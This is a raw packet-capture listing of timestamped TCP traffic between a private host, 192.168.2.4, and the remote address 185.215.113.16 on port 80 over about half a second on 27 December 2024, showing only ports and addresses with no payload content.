Dec 27, 2024 09:01:44.790482044 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.792159081 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.792314053 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.792351007 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.794255018 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.794403076 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.794444084 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.796258926 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.796464920 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.796509027 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.798289061 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.798450947 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.798494101 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.800451994 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.800466061 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.800513983 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.806330919 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.806472063 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.806529999 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.808352947 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.808373928 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.808418036 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.810317993 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.810484886 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.810522079 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.811803102 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.811816931 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.811857939 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.814424038 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.861097097 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.929016113 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.929029942 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.929148912 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.929344893 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.929512978 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.929565907 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.930979967 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.931148052 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.931196928 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.932760954 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.932934046 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.932982922 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.933952093 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.934065104 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.934113026 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.935575008 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.935688019 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.935740948 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.937171936 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.937254906 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.937316895 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.938739061 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.938843012 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.938898087 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.940334082 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.940423012 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.940470934 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.941871881 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.941992998 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.942055941 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.943449974 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.943522930 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.943582058 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.945048094 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.945240021 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.945291042 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.946624994 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.946734905 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.946805954 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.948215961 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.948312998 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.948364973 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.949788094 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.949902058 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.949958086 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.951368093 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.951477051 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.951565027 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.952953100 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.953032970 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.953093052 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.954550028 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.954644918 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.954699993 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.956082106 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.956201077 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.957658052 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.957741976 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.957775116 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.957817078 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.959238052 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.959352016 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.959410906 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.960808039 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.960915089 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.961761951 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.962425947 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.962496996 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.963954926 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.964010954 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.964068890 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.964116096 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.965540886 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.965593100 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.965706110 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.967106104 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.967236042 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.968708992 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.968775988 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.968849897 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.968904972 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.970319986 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.970406055 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.970463991 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.971863985 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.971962929 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.973409891 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.973473072 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.973529100 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.973572969 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.975012064 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.975111008 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.975164890 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.976602077 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.976700068 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.977766991 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.978179932 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.978358984 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.979736090 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.979799032 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.979839087 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.979887962 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.981331110 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.981362104 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.981709003 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.982897997 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.983057022 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.984469891 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.984528065 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.984564066 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.984611034 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.986061096 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.986181974 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.987780094 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.987869978 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.988292933 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.989200115 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.989320040 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.989393950 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.990782022 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.990842104 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.990895987 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.992378950 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.992476940 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.993854046 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.993923903 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.994064093 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.995510101 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.995559931 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.995630980 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.995676994 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.997098923 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.997196913 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.997906923 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:44.998673916 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:44.998817921 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.000253916 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.000319004 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.000360012 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.000422001 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.001827955 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.001972914 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.002121925 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.003487110 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.003541946 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.005016088 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.005079985 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.005099058 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.005143881 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.005167007 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.006561041 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.006666899 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.006727934 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.008152962 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.048563957 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.126754999 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.126904011 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.126974106 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.127396107 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.127501011 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.127542973 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.128762007 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.128886938 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.128943920 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.130085945 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.130203009 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.130251884 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.131453037 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.131541014 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.131614923 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.132901907 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.133049011 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.133100033 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.134174109 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.134232044 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.134417057 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.135535955 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.135654926 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.135710001 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.136873960 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.136985064 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.137031078 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.138268948 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.138365984 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.138406038 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.139622927 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.139709949 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.139755964 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.140938997 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.141087055 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.141127110 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.142301083 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.142410994 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.142457962 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.143637896 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.143770933 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.143832922 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.145020962 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.145126104 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.145168066 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.146362066 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.146529913 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.146572113 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.147728920 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.147847891 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.147900105 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.149102926 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.149218082 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.149296045 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.150439978 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.150603056 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.150645018 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.151842117 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.151990891 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.152034044 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.153295040 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.153412104 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.153459072 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.154537916 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.154620886 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.154695988 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.155881882 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.155961990 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.156008005 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.157275915 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.157362938 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.157402992 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.158612013 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.158696890 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.159977913 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.160027981 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.160135031 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.160177946 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.161300898 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.161354065 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.161433935 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.162659883 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.162772894 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.162823915 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.164032936 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.164211988 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.164257050 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.165400028 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.165489912 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.165541887 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.166712999 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.166867971 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.167007923 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.168076992 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.168203115 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.168251991 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.169442892 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.169560909 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.169631004 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.170792103 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.170928955 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.170978069 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.172137976 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.172240973 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.173361063 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.173513889 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.173631907 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.173703909 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.174860001 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.174977064 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.175018072 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.176188946 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.176326990 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.176368952 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.177556992 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.177596092 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.177632093 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.178945065 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.179054976 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.179101944 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.180277109 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.180387020 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.180438042 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.181637049 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.181765079 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.181813955 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.182970047 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.183080912 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.183125973 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.184326887 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.184442043 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.185686111 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.185731888 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.185755014 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.185810089 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.187037945 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.187166929 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.188389063 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.188436031 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.188469887 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.188514948 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.189754963 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.189866066 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.190016031 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.191103935 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.191230059 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.192507982 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.192555904 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.192585945 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.192635059 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.193809032 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.193906069 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.193953991 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.195177078 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.195288897 CET	80	49876	185.215.113.16	192.168.2.4
